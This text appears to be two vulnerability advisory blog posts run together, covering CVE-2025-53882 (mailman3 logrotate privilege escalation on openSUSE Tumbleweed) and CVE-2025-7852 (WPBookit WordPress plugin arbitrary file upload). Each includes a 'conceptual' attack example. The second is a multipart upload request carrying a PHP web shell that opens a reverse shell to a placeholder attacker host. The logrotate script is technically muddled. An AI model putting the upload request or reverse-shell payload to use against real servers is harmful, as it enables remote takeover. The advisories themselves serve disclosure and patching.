Author: Ameeba

Overview

This post discusses an important cybersecurity vulnerability, identified as CVE-2025-53882, which impacts the openSUSE Tumbleweed operating system, specifically targeting the mailman3 package. This vulnerability revolves around the flawed logrotate configuration in mailman3, which could potentially be exploited to escalate permissions from mailman to root, thereby granting unauthorized users complete control over the affected system.
The severity of this issue underscores the critical importance of continuously monitoring and patching known vulnerabilities in software packages, as failure to do so could lead to system compromise or data leakage. This vulnerability is particularly concerning due to the high CVSS Severity Score of 9.1, indicating its substantial potential for damage if exploited.

Vulnerability Summary

CVE ID: CVE-2025-53882
Severity: Critical (CVSS: 9.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

openSUSE | Tumbleweed: ? – 3.3.10-2.1

How the Exploit Works

The exploit takes advantage of a flaw in the logrotate configuration of the mailman3 package in openSUSE. By relying on untrusted inputs in a security decision, an attacker can manipulate these inputs to gain unauthorized access. More specifically, an attacker might inject malicious commands or scripts, which the system would execute with root privileges due to the flawed logrotate configuration, leading to an elevation of privileges from mailman to root.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This example does not represent an actual exploit, but illustrates the potential misuse of untrusted inputs.

#!/bin/bash
# Malicious script injected as an untrusted input
echo "Injecting payload into logrotate configuration"
echo "/path/to/malicious/script" >> /etc/logrotate.d/mailman3
echo "Triggering logrotate to execute payload with root privileges"
/usr/sbin/logrotate /etc/logrotate.conf

This script injects a path to a malicious script into the logrotate configuration for the mailman3 package. When the logrotate process runs (which, in a typical setup, would occur daily), it would execute the malicious script with root privileges, leading to a potential system compromise.
To mitigate this vulnerability, users are urged to apply the vendor-supplied patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation measures. However, temporary measures can only provide limited protection and applying the patch remains the most effective solution.

Overview

CVE-2025-7852 is a critical security vulnerability that affects the WPBookit plugin for WordPress, which is used widely for managing bookings on WordPress sites. This vulnerability allows unauthenticated attackers to upload arbitrary files on the server of an affected site due to a lack of file type validation in the image_upload_handle() function. The severity of this vulnerability lies in the fact that it can potentially lead to a system compromise and data leakage, making it a significant threat for any WordPress site running the vulnerable version of the WPBookit plugin.
The vulnerability has been attributed a high CVSS severity score of 9.8, highlighting the urgent need for affected users to apply the vendor patch or use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation measures.

Vulnerability Summary

CVE ID: CVE-2025-7852
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

WPBookit Plugin for WordPress | Up to and including 1.0.6

How the Exploit Works

This vulnerability stems from an insecure file upload handler function within the WPBookit plugin. Specifically, the image_upload_handle() function, which is hooked via the ‘add_new_customer’ route, lacks adequate file type validation. This makes it possible for an unauthenticated attacker to upload any type of file without restriction. The function calls move_uploaded_file() on client‐supplied files without restricting allowed extensions or MIME types, nor sanitizing the filename. This allows an attacker to upload a malicious file, potentially leading to the execution of arbitrary code on the server.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability. It illustrates a malicious HTTP POST request that an attacker could use to upload a script disguised as an image file.

POST /add_new_customer HTTP/1.1
Host: vulnerable-wordpress-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="evil.php.jpg"
Content-Type: image/jpeg
<?php exec('/bin/bash -i >& /dev/tcp/attacker-ip/8080 0>&1'); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the attacker attempts to upload a file named “evil.php.jpg. Although it appears to be an image file, it is actually a PHP script that, once uploaded and executed, can give the attacker remote control over the server.